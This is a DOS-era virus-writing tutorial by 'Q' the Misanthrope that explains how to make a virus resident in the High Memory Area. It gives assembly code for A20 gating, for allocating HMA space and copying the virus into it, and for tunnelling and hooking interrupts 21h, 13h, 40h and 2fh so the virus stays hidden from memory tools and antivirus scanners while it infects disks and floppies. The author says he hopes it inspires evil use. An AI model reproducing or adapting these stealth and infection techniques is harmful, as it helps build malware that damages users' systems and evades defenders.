HMA Residency ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> "Q" the Misanthrope This virus topic has not been discussed: HMA (not UMB) residency. What is HMA? ÄÄÄÄÄÄÄÄÄÄÄÄ It stands for High Memory Address. HMA memory is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to store about 15 of his viruses. This is his tutorial on HMA useage. Why HMA? ÄÄÄÄÄÄÄÄ It allows you to put your virus in a location not seen with any of the con- ventional memory tools. MEM, CHKDSK and others don't indicate that more me- mory is being used in the HMA when a virus goes resident there. Many anti virus programs did not scan the HMA since no one was crazy enough to put their virus up there. They now have changed because of the many viruses "Q" created that use the HMA. HMA History ÄÄÄÄÄÄÄÄÄÄÄ On an 80286+ there is an address line called a20 that was to be used to map the second megabyte of memory. There are additional address lines (a21, a22, etc) but with this a20 line there became another 64k of memory availa- ble to real mode programs. Where did this new memory come from? On an 8086, the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h +OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh =FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh= FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h= 100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you have just touched the first byte of the second megabyte off memory. The on- ly problem is that the 80286 works just the same as the 8086 and again you are mapped back to 0000:0000h. Some circuitry needed to be added, a20 ga- ting was created. If doing the physical computation caused a carry into the next megabyte then turn the a20 line on. This feature had to be able to switched on and off at will. The 80286 also introduced the 8042 keyboard controller. There was an extra bit on an output port that could control this gating. The creation of the HIMEM.SYS would in part make controlling this a bit easier. Gating a20 ÄÄÄÄÄÄÄÄÄÄ To enable the a20 gating: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4300h ;himem.sys check int 2fh cmp al,80h jne error ;no himem.sys loaded mov ax,4310h int 2fh ;get far call address es:bx mov ah,03h ;Global enable A20 push cs ;prime the stack for retf call call_es_bx ;put ip of next line on stack for retf next_line: or ax,ax ;check if error jz error [...] ;code to do whatever call_es_bx: push es ;now jmp to es:bx with ah as function push bx ;the stack is primed to return to retf ;next line [...] error: mov ah,09h ;print command mov dx,offset errmsg;print error push cs pop ds int 21h [...] errmsg db "A20 Global Enable error!",0dh,0ah,"$" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt list (INT 2Fh AX=4310h). Brute force gating a20 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Another method is the brute force one. What if you want the HMA available at boot time for your boot sector virus? You can directly control the 8042 keyboard controller. Using command D1. Write Output Port: next byte written to port 60h is placed in the 8042 output port. ³7³6³5³4³3³2³1³0³ 8042 Output Port ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20 ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ undefined ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ output buffer full ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ input buffer empty ³ ÀÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output) ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov al,0d1h ;send command to 8042 out 64h,al reloop: in al,64h ;check that port 60h is available or al,02h jnz reloop mov al,11100011b ;keep keyboard working and gate a20 out 60h,al push -1 ;set es=ffffh pop es push 00h pop ds ;set ds=0000h mov di,10h ;check if it worked, compare xor si,si ;ffff:0010h to 0000:0000 for 16 bytes mov cx,di ;set cx to 10h cld rep cmpsb ;compare it je failed [...] ;worked, copy virus to ffff:xxxx failed: jmp short failed ;do whatever - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 HMA and DOS 5+ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with the commands in the CONFIG.SYS like these: DEVICE=C:\DOS\HIMEM.SYS DOS=HIGH This requirement is on 99% of all machines running this decade. To invoke it, just do this: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4a02h ;allocate HMA space from DOS mov di,-1 ;prime di if DOS not high or < ver 5 mov bx,0200h ;number of bytes you want int 2fh ;should return es:di to available mem inc di ;di=ffffh if no memory or DOS<5 etc. jz failed ;if it failed dec di mov si,offset virii mov cx,bx ;get ready to copy virii cld rep movs byte ptr es:[di],cs:[si] [...] failed: jmp short failed - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Hooking interrupts ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now that you are in the HMA, what next? hook in your interrupts and you are off infecting. Problem is that it is not that simple. You can't point an interrupt to ffff:xxxx because the a20 gate may be turned off for some rea- son. If the a20 gate is turned off then your interrupt will point to code in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain into the HMA they first check if the a20 line is gated, if not, they gate it. The interrupt then continues its code in the HMA. You can tunnel your desired interrupt and hook in to the interrupt chain when the code goes to the HMA. An example of hooking interrupt 21h is: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 virus_size equ previous_21-begin begin: [...] mov ax,3501h ;get int 1 address for tunnel int 21h mov dx,offset interrupt_1 mov ah,25h ;set int 1 for tunnel push es int 21h pop ds ;ds:dx will be to set it back push 00h ;es=0000h pop es pushf ;simulate interrupt stack mov dx,bx push cs push es ;return to cs:0000 is cd 20 int 01h ;set trap flag db 26h ;es: override in to int table dw 02effh,21h*04h ;jmp far ptr es:[0084] interrupt_1: pusha ;save varables push sp pop bp ;get pointer push ds push es lds si,dword ptr ss:[bp+10h];get next instruction address cmp word ptr ds:[si+01h],02effh jne go_back ;check if jmp far ?s:[????] cmp word ptr ds:[si-02h],001cdh org $-02h ;see if called from our int 01 int 01h je toggle_tf mov si,word ptr ds:[si+03h];get address segment of jmp cmp byte ptr ds:[si+03h],0f0h jb go_back ;see if in HMA area mov bx,((virus_size+10h)SHR 4)*10h mov di,0ffffh ;allocate HMA area for virus mov ax,4a02h int 2fh inc di ;is HMA full jz toggle_tf ;if so then just don't bother push si ;move the virus to the HMA cld mov cx,virus_size mov si,0100h ;copy virus to HMA rep movs byte ptr es:[di],cs:[si] pop si ;now hook the int 21 chain movsw ;int 21 copied at previous_21 movsw lea di,word ptr ds:[di-04h-virus_size+offset resident_21] mov word ptr ds:[si-04h],di;point to resident 21 code mov word ptr ds:[si-02h],es toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag go_back: pop es pop ds popa iret resident_21: pushf ;do the voodoo you do so well pusha [...] popa popf db 0eah previous_21: label double - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This is a bit laborous. What else can be done? if you need to hook int 13h then the simple use of int 2fh AH=13h can be done. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh mov ah,13h ;get int 13 chain int 2fh ;returns previous ds:dx to bios push ds ;int 13h push dx lea dx,word ptr ds:[di+offset resident_13] push -1 ;point to new int 13 in HMA pop ds int 2fh ;set new int 13 into chain push -1 pop ds pop word ptr ds:[di+previous_13] pop word ptr ds:[di+previous_13+02h] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 The only problem with this is that Windows will spot it if the 32 bit disk access is enabled. An even simpler way of hooking into the interrupt 13h chain can be done if all you are wanting to do is infect floppies. Interrupt 40h is the moved interrupt 13h handler that only handles floppy accesses. It can be directly hooked into the HMA because all access to it will be through interrupt 13h that made sure the a20 line was gated before it went into the HMA. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh push es ;save es mov ax,3540h ;get old int 40 int 21h pop ds ;get es and save old int 40 mov word ptr ds:[di+previous_40],bx mov word ptr ds:[di+previous_40+02h],es lea dx,word ptr ds:[di+resident_40] mov ah,25h ;set int 40 into hma int 21h - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h. Another way to hook into the interrupt chain and make sure that the a20 li- ne is gated is to have some code in lower memory that calls the interrupt you want to hook in with some bogus function, then jump to the HMA code be- cause the a20 line was gated with the previous interrupt call. An example: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 interrupt_21: push ax ;interrupt 21h points to here mov ah,19h ;get current drive (bogus instruction) pushf ;simulated stack for interrupt db 09ah ;far call instruction previous_21 dd 04530126eh ;previous interrupt 21 simulation pop ax db 0eah ;far jmp hma_virus_code dd ffffec1ch ;to virus code in HMA - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Using some lower memory as a kernal ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The trick is where to put these instructions in lower memory. The interrupt vector table can be used either the user area at 0040:00f0h or i like to use the root PSP of COMMAND.COM: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov ah,51h ;get current PSP int 21h xor ax,ax ;prime ax not equal PSP find_root_psp: cmp ax,bx je found_root mov ds,bx ;point to current psp mov ax,bx ;for compare mov bx,word ptr ds:[16h];get parent psp jmp short find_root_psp found_root: [...] ;ds points to the psp of command.com [...] ;ds:005ch to ds:007fh is useless space - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 What works and what doesn't ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When your virus code is the HMA there are certain things that will not work like you'd like them to: you can not hook your critical error handler in to the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing in the HMA. To do these you will need to use some lower memory and copy the contents into the lower memory and point to it. You can use the lower memo- ry areas discussed above. What does work: BIOS interrupt 13h reads and wri- tes work just fine. Searching the disk buffers and modifying them to insert your code and then marking the buffer as dirty will cause the processor to write it back. If this has inspired someone else to use the HMA for evil rather than good then my efforts have been worth it. "Q" the Misanthrope